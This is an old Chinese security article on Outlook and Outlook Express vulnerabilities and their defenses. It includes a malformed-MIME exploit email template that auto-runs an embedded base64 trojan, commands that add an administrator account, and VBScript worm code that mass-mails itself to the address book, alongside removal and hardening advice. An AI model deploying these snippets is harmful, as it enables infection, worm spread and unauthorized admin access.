针对OE的攻击及其防范方法

2002-8-16 16:26:19【作者】 畅享网 【进入论坛】
本文关键字 IT安全
广告

微软的OutLook已经成为黑客们的主要攻击目标,而OutLook不争气表现的事实更使得微软丢尽了颜面。但这不是我们关心的主要目标,我们感兴趣的是OutLook常见漏洞及其防范方法。
一、错误的MIME头漏洞
1.MIME简介
MIME(Multipurpose Internet Mail Extentions),一般译作“多用途的网际邮件扩充协议”。顾名思义,它可以传送多媒体文件,在一封电子邮件中附加各种格式文件一起送出。现在它已经演化成一种指定文件类型(Internet的任何形式的消息:e-mail,usenet新闻和Web)的通用方法。在使用CGI程序时您可能接触过MIME类型,其中有一行叫作Content-type的语句,它用来指明传递的就是MIME类型的文件(如text/html或text/plain)。
2.错误的MIME头漏洞的发现  
该漏洞是由一个国外安全小组发现的,该小组发现在MIME在处理不正常的MIME类型时存在个问题,攻击者可以创建一个Html格式的E-mail,该E-mail的附件为可执行文件,通过修改MIME头,使IE不正确处理这个MIME所指定的可执行文件附件。在此,我们来了解一下,IE是如何处理附件的:一般情况下如果附件是文本文件,IE会读它,如果是VIDEO CLIP,IE会查看它;如果附件是图形文件,IE就会显示它;如果附件是一个EXE文件呢?IE会提示用户是否执行!但令人恐惧的是,当攻击者更改MIME类型后,IE就不再提示用户是否执行而直接运行该附件!从而使攻击者加在附件中的程序、攻击命令能够按照攻击者设想的情况进行。大家不妨想像一下,如果前面提到的wincfg.exe不是木马,而是恶意程序江民炸弹又会怎么样?刹那间,你的硬盘就完蛋了(如果你不懂解法的话)!在Win9X\ME以及WinNT4和Win2k下的Internet Explorer 5.0、5.01、5.5均存在该漏洞,我们常用的微软邮件客户端软件Outlook Express也存在此漏洞。  
3.错误的MIME头漏洞的危害
让我们来看一下如果把上面所说的代码中最后这部分变为下面这样,会产生什么结果呢?
--1
Content-Type: audio/x-wav;
name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>
msgbox("你的计算机好危险哦") 说明:在此可以加上任意的VBS的代码
--1  
将该程序编辑存为eml格式的文件,我们运行它,可以看到屏幕上打开一个窗体,显示“你的计算机好危险哦”。对于这种利用错误的MIME头漏调用VBS文件的形式,会有多大危害呢?想一想,当初的爱虫病毒是怎么样的?爱虫病毒还需要骗你执行它才使你中毒,但一旦和错误MIME头漏洞结合起来,就根本不需要你执行了,只要你收了这封信且阅读它,你就中招了。现在流行的欢乐时光病毒很可怕吧?如果它和错误的MIME头漏洞结合,后果会怎样,你能告诉我吗?
不仅如此,MIME还可以与command、cmd命令相结合,进行进一步的攻击。  
对于WIN9X用户来说,只要你的IE浏览器是5.0、5.01、5.5之中的任意一个版本,在没打补丁的情况下,攻击者完全可以利用欺骗的方式让你打开含有攻击命令的、带有错误MIME头的E-mail文件,达到攻击的目的。事实上,format、deletetree、move等一切MS-DOS下的命令均可加载在其中。  
而对于WINNT、WIN2K用户,尤其是那些不安分守己且网络安全知识贫乏的系统管理员,利用公司的主服务器上网,攻击者可以给他发封信,然后利用在以上所示代码中加上诸如:  
net user test 1234567/add  
net localgroup administrators test/add  
这样的命令增加用户或者超级用户权限,达到进一步入侵的目的。  
4.利用MIME头漏洞攻击实例
利用错误MIME头信件自动执行exe文件这个漏洞,如有好事者对其加以利用,就会造成很大维护!假设你收到如下内容信件(假设文件名为hello.eml),如果你用OutLook接收并打开了它,哈哈,那你就会中木马!  
From: "xxx" <xxxx@xxx.xxx>  
To: "xxx" <xxxx@xxx.xxx>  
Subject: xxxx  
Date: Tue, 7 Apr 2001 15:16:57 +800  
MIME-Version: 1.0  
Content-Type: multipart/related;  
type="multipart/alternative";  
boundary="1"  
X-Priority: 3  
X-MSMail-Priority: Normal  
X-Unsent: 1  
--1  
Content-Type: multipart/alternative;  
boundary="2"  
--2  
Content-Type: text/html;  
charset="gb2312"  
Content-Transfer-Encoding: quoted-printable  
<HTML>  
<HEAD>  
</HEAD>  
<BODY bgColor=3D#ffffff>  
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>  

</HTML>  
--2--  

--1  
Content-Type: audio/x-wav; ★注意这里★
name="notepda.exe" ★注意这里★
Content-Transfer-Encoding: base64 ★注意这里★
Content-ID: ★注意这里★

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA
AA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZ好好学习ydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAA
AABQRQAATAEDAIh3BDsAAAAAAAAAAOAADwELAQQUACAAAAAQAAAAkAAAIL0AAACgAAAAwAAAAABAAAAQAAAA
AgAABAAAAAEAAAAEAAAAAAAAAADQAAAAEAAAAAA……(以下删掉一大节)  
--1  
您看到的类似“TVqQAAMAAAAEAAAA//8AAL”这样的字符,就是木马文件notepda.exe(注意不是记事本程序notepad.exe)经过base64编码的内容。上面这些代码中,关键的是下面这一段:  
Content-Type: audio/x-wav;  
name="notepda.exe"
Content-Transfer-Encoding: base64  
Content-ID: <THE-CID>  
其中,name="notepda.exe"这一句定义了文件名称,在此为notepda.exe。 而这一句:Content-Transfer-Encoding: base64则定义了代码格式为base64。  
从这句Content-ID: <THE-CID>开始才是代码的起步,“TVqQAAMAAAAEAAAA//8AAL”等为木马文件notepda.exe的BASE64方式编码,这个以BASE64方式编码的文件会反编译成notepda.exe文件并运行。其实,notepda.exe这个文件在这里相当于邮件的附件,从我们所列的代码中可以看到,攻击者把notepda.exe的的类型定义为audio/x-wav,由于邮件的类型为audio/x-wav时,IE存在的这个错误的MIME头漏洞会将附件认为是音频文件自动尝试打开,结果导致邮件文件a.eml中的附件notepda.exe被执行。在win2000下,即使是用鼠标点击下载下来的a.eml,或是拷贝粘贴该文件,都会导致hello.eml中的附件被运行,微软的这个漏洞可真是害人不浅啊。
附:Base64编码简介
Base64是目前最常见的电子邮件编码算法,Base64编码是这样的,首先,将源文件按三个字节一组排好。众所周知,一个ASCII字节有8位,所以3个字节共有24位。把它们6位一组,分为4组。6个二进制数位,能表示的数的范围是0~63,共64个数。Base64名称就因此而来。得到数字后,按下表将数字对应为字符,0对应A,1对应B,以此类推,+代表62,/代表63,所以就是这个样子: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,解码时,按相反的算法运算即可。
5.解决办法:如果你点击了该信件导致中了木马,可以用下面的方法来加以解决:
①点击“开始”→“运行”,在弹出的对话框中输入regedit,回车,然后展开注册表到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion和
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion以及HKEY-USERS\.Default\Software\Microsoft\Windows\CurrentVersion下,查找所有以“Run”开头的键值,查看其下是否有木马程序,在本例中木马程序为notepda.exe,将其键值删除;
②由于木马程序多要伪装成系统文件,因此如果中了该类附在邮件中的木马,可以到你的计算机的系统目录下,如果操作系统是Win2000,则到c:\winnt下;如果你的操作系统为Win98,则到c:\windows下,删除其中的木马程序,在本例中是notepda.exe文件。
③重新启动机器,一切OK了!
6.防范方法:
1.最好的办法是不使用IE和Outlook。可以用Netscape代替IE,用Foxmail代替Outlook。如果非要用,建议您按下面的方法进行操作:
(1)运行IE,点击“工具→Internet选项→安全→Internet区域的安全级别”,把安全极别由“中”改为“高”。  
(2)接着,点击“自定义级别”按钮,在弹出的窗口中,禁用“对标记为可安全执行脚本的ActiveX控件执行脚本”选项。  
(3)同理,在此窗口中禁用IE的“活动脚本”和“文件下载”功能。  
(4)禁用所有的ActiveX控制和插件。  
(5)设置资源管理器成“始终显示扩展名”。
(6)禁止以WEB方式使用资源管理器。
(7)取消“下载后确认打开”这种扩展名属性设置。
(8)永远不直接从IE浏览器中选择打开文件。
(9)OE的设置方法
选择“开始”选单→“设置”→“控制面板”→“Internet选项”→选择“安全”选项卡。
选择“受限站点”→选择“自定义级别按”→找到“脚本”→“活动脚本”,选择“禁止”,按“确定”。
(10)Outlook 2000的设置方法
启动Outlook 2000→选择“工具”→“选项”→“安全”选项卡→“安全区域”→选择“受限站点”→“区域设定值”→“自定义级别”。
选择“脚本”的“活动脚本”选项,选择“禁止”,按“确定”。  
2.不要受陌生人的诱惑打开别人给你的RUL,如果确实想看,可以通过一些下载工具把页面下载下来,然后用记事本等一些文本编辑工具打开查看代码。  
3.微软公司为该漏洞提供了一个补丁,赶快到下面所列出的URL去看看吧:
http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp  
二、OutLook邮件附件改头换面
除了上面所说的漏洞,用OutLook收发邮件还存在另一种危险——OutLook邮件附件改头换面!即一个看起来是TXT的文件其实是个EXE文件!下面我以OouLook2000简体中文版为例进行详细说明。
1.开启OutLook2000,新建一个邮件,选择菜单栏中的“格式”→“带格式文本”,在邮件正文点击一下鼠标左键,选择菜单“插入”→“对象”,点击“由文件创建”→“浏览”,选择Windows目录下的notepad.exe,点击“确定”,在新邮件的主体部分出现notepad.exe及其图标。
2.在刚出现的notepad.exe及其图标上点击鼠标右键,选择“编辑包”,打开对象包装程序,选择“插入图标”按钮,选择“浏”,选择WINDOWS\sys tem\SHELL32.DLL,在当前图标框中选择一个你想要的图标,比方说选择一个文本文件的图标,然后按“确定”。然后选择菜单“编辑”→“卷标”,任意定义一个名字,比方说hello.txt,点击“确定”。
3.退出对象包装程序,在提示是否更新时选择“是”。
4.OK,现在出现在面前的是hello.txt,一般人会认为它是一个地地道道的文本文件附件,相信没有人怀疑它是别的东西。请你双击这个图表,看看会发生什么?是不是发现它打开的是notepad?如果它是一个病毒文件,结果可想而知!
当你用OutLook2000收到这样一个邮件时,它会显示这是一个带附件的邮件,当你以为它是一个文本文件附件双击打开时,OutLook会提示:部分对象携带病毒,可能对你的计算机造成危害,因此,请确保该对象来源可靠。是否相信该嵌入对象?安全观念强的人一般会选择“NO”(这就对了),一般的人可能会选择YES(你惨了!)。
识别方法:不要怕,尽管它的迷惑性极大,但是仍然会露出一些马脚:
1.它其实是一个OLE对象,并不是附件,选择它时,选择框会不同于选择附件的选择框。点鼠标右键出现的菜单不同。
2.双击打开它时,安全提示与附件的安全提示不同,这点非常重要。这时,因该选择“NO”,然后点击鼠标右键,选择“编辑包”,提示是否信任该对象时选择“YES”,在对象包装程序的右边内容框中,将现出原形。在本例中,会显示“NOTEPAD.EXE的备份”,文件是否可执行,关键在这里。
3.因为它不是附件,在选择“文件”→“保存附件”时并无对话框出现。
因为并不是所有的邮件收发软件都支持对象嵌入,所以这类邮件的格式不一定被某些软件识别,如OutLook Express。但是OutLook的使用面很广,尤其是在大的有自己MAIL服务器的公司,所以还是有必要提醒大家小心嵌入对象,不光是OutLook,其实WORD、EXCEL等支持嵌入对象的软件可以让嵌入对象改头换面以迷惑人。
三、浏览信件硬盘被格式化
使用OutLook还存在令一种危险——浏览信件硬盘被格式化!如果哪天你收到的E-mail,其中含有用VBScript编写的恶意HTML代码,只要你一打开该E-mail,就会自动启动IE,根本不需要你打开E-mail的附件,你的硬盘就会被格式化。假设您收到一封HTML格式的信件,有如下一些代码(以下是其主要部分):

只要你打开该邮件,你的D盘就被格式化了!
防范方法:
1.将Windows系统里比较危险的一些程序改名,比如format.com、deltree.exe等。你可以将它们改为一些容易记的名字,如format.com改为format.com.old。
2.关闭“受限制站点区域”执行Active Script(活动脚本)的功能
除了IE5.5(或以上版本)之外,其他任何版本的IE,在受限制站点区域这个级别里,Active Script功能都是开放的,针对这个安全漏洞,我们需要禁止此项功能(Disable)。取消了执行Script的功能后,所有电子邮件中的VBScript、java script等都将无法运行,这就减少了感染脚本(Script)类E-mail病毒的机会,在一定程度上提高了计算机的安全性。
①OE的设置方法
选择“开始”选单→“设置”→“控制面板”→“Internet选项”→选择“安全”选项卡。
选择“受限站点”→选择“自定义级别按”→找到“脚本”→“活动脚本”,选择“禁止”,按“确定”。
②Outlook 2000的设置方法
启动Outlook 2000→选择“工具”→“选项”→“安全”选项卡→“安全区域”→选择“受限站点”→“区域设定值”→“自定义级别”。
选择“脚本”的“活动脚本”选项,选择“禁止”,按“确定”。完成上述两项设置后,你会获得一个意外的惊喜,那就是:那些垃圾邮件再也无法自动打开您的浏览器了。。  
3.卸载WSH
在Windows98中(NT4.0以上同理),打开“控制面板”,打开“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“对勾”去掉,然后点“确定”,再点“确定”,这样就可以将Windows Scripting Host卸载。
4.在“我的电脑”→“工具”→“文件夹选项”对话框中,点击“文件类型”,删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
四、OutLook下的VBS病毒
OutLook传播的病毒基本上都是由VBScript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能的。  
Set so=CreateObject("Scripting.Filesys temObject")  
so.GetFile(WScript.ScriptFullName).Copy("C:\dateiname.vbs")  
就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创建一个文件系统对象,第二行前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到c盘根目录下dateiname.vbs这个文件。这就是大多数利用VBscript编写的病毒的一个特点。从这里可以看出,禁止了Filesys temObject这个对象就可以很有效的控制这种病毒的传播。下面的这条命令可以禁止文件系统对象:regsvr32 scrrun.dll /u  
我们再看看VBS病毒是如何传播的。病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:  
Set ol=CreateObject("Outlook.Application")  
On Error Resume Next  
For x=1 To 50  
Set Mail=ol.CreateItem(0)  
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)  
Mail.Subject="Betreff der E-Mail"  
Mail.Body="Text der E-Mail"  
Mail.Attachments.Add("C:\dateiname.vbs")  
Mail.Send  
Next  
ol.Quit  
这一小段代码的功能是向地址簿中的前50个用户发送电子邮件,并将脚本自己作为附件。第一行是创建一个Outlook的对象。下面是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。  
从上面这些我们可以看出VBS在其中发挥了很大的作用!其实,VBS并不神秘,它全称VISUAL BASIC SCRIPT。我们可以在windows的目录之下找到VBS的身影,如果说你有VB编程基础的话,要看懂这些代码并不困难,就以c:\windows\samples\wsh\registry.vbs为例,此脚本显示了如何创建和删除注册表项,用文本编辑器打开我们可以看到源代码——你会发觉读写注册表竟然这么简单!通过此目录下的其他几个文件:chart.vbs、excel.vbs、network.vbs、shortcut.vbs、showvar.vbs,我们可以看到,为什么爱虫病毒能够很容易的取得系统环境变量并且能够很容易地进行写注册表之类的操作。如果在你的系统里发现了更多的以VBS为后缀的文件,那么我提醒你:得当心了!
从上面所讲的例子中不难看出,在它们的源代码中,都用到了一个重要的对象:WScript。WScript全称Windows Scripting Host,它是Win98新加进的功能, 是一种批次语言/自动执行工具——他所对应的程序“C:\WINDOWS\WScript.exe”是一个脚本语言解释器,正是它使得脚本可以被执行(就象执行批处理一样)。
在Windows Scripting Host脚本环境里,预定义了一些对象,通过他自带的几个内置对象,可以实现获取环境变量、创建快截方式、加载程序、读写注册表等功能。在“欢乐时光”蠕虫病毒的源代码中我们可以发现,病毒作者几乎把WSH内置对象的功能发挥的淋漓尽致。
防范方法:
1.通用规则
①发现邮箱中出现不明来源的邮件应小心谨慎对待,尤其是带有可执行附件的邮件,如.EXE、.VBS、.JS等
②如非必要,尽量关闭邮件“预览”特性。很多嵌入在HTML格式邮件中的病毒代码会在预览的时候执行,我们经常从媒体看到这样一种恐怖说法:“用户只要收到这些带病毒的邮件,即使不打开,病毒也能发作”,其实就是病毒代码在邮件预览的时候执行的。
③收到新邮件尽量使用“另存为”选项为邮件做备份(注意分类储存,不要在同一根目录下放全部的邮件)此时还可以趁机为邮件起一个更一目了然的名字,既是备份,又方便管理查阅,一举两得。
2.防止病毒发作
禁止VBScript(JScript)文件执行的几个办法:
①在“我的电脑”→“工具”→“文件夹选项”对话框中,点击“文件类型”,删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
②在Windows目录中,找到WScript.exe和JScript.exe,更改其名称或者干脆删除。
③在Win9X和Windows NT4.0上,可以通过控制面板中“添加/删除程序”项来安全删除WSH。
3.防止病毒发作后“复制”
VBScript(JScript)中的磁盘文件和目录操作几乎都是通过Filesys temObject类来实现的,而对于绝大多数一般户来说,Filesys temObject也没有什么大的作用,所以可以禁止文件系统对象,用这条命令即可:regsvr32 scrrun.dll /u
4.防止病毒发作后“传播”
1.)禁止OE的自动收发邮件功能
当禁止了邮件的自动收发功能后,只有在按下“接收/传送”按钮时,OE才开始接收或者发送邮件,这就避免了邮件的自动发送。虽然此项设置只对一部分E-mail病毒有效,但毕竟在一定程度上避免了E-mail病毒的扩散。
①OE的设置方法
选择“工具”→“选项”→选择“发送”选项卡,取消“立即发送邮件(I)”选项。
选择“常规”选项卡,取消“启动时发送和接收邮件(S)”选项和“每(C)XX分钟检查一次新邮件”选项。
②Outlook 2000的设置方法
选择“工具”→“选项”→选择“邮件发送”选项卡,取消“连线时立即发送邮件”选项,并取消“自动检查新邮件”功能。
注意,关闭了自动检查邮件功能后,你可能会感到有些麻烦。
2.)尽量在“通讯簿”不要设置太多的名单
如果要发送新邮件,可以进入邮件的储存目录,打开客户的发来的邮件,利用“回复”功能来发送新邮件(删除原有内容即可)如果客户或朋友较多,利用回复不方便,可以新建一个文本文件(自己做好备份,记得路径及名称),把客户的邮件地址一一列入其中,要发新邮件的时候,利用CTRL+C, CTRL+V把客户邮件地址粘贴到“收件人”栏中去,这样虽然麻烦一点,但是有效地防止了邮件病毒的进一步传播,须知现在的邮件病毒变种更新既多又快,防杀难免有漏洞,病毒一发作,就自动复制无数拷贝发送到“通讯簿”里所有的用户。用此法可以避免病毒的扩散,特别是有商业关系的客户不会因此受到牵连,发生误会从而影响合作关系。
通过以上的层层设防,您的系统就应该能防御绝大多数针对于Outlook的邮件型病毒了。不过,让我觉得纳闷的是,既然用Outlook有这么多危险,为什么还要死守着它不放呢,用Foxmail之类的软件不一样可以完成收发邮件的功能吗?使用Outlook要小心喽!

如果您希望与本文章的作者或其所在机构,进一步交流,请联系:畅享网 姜小姐
jill.jiang@amteam.org | 021-51096826-112 | 在线联系
老孙的IT运维管理之道[原创]用户的BSM用户的IT业务管..

从企业实际的IT运营角度来看,BSM是推动IT与业务融合,实现、改善WCNG司IT管理和治理的最佳实践之一。

吕建伟 专栏和CIO问答软件项目实施管理

现实中很少能按照正规流程来的,所以只能把流程中的各个环节拆开,个个击破,以后就可以见招拆招了。

节能与优化IT 企业CIO过冬良策

当前金融危机的影响还在继续漫延,很多企业都在苦寻过冬的良策,在这种情况下,节能与优化技术与产品无疑成为CIO们关注的首要对象,本次选题就是针对节能与优化IT来为CIO们提供过冬的良……

观08软件并购风潮 议09巨头何处生花

2008,似乎注定是不平静的一年。有人说2008是并购年。业内人士表示,在全球软件行业,并购一直是大企业谋求做大做强的捷径之一,包括甲骨文、SAP,微软等全球软件巨头都为了扩大自己……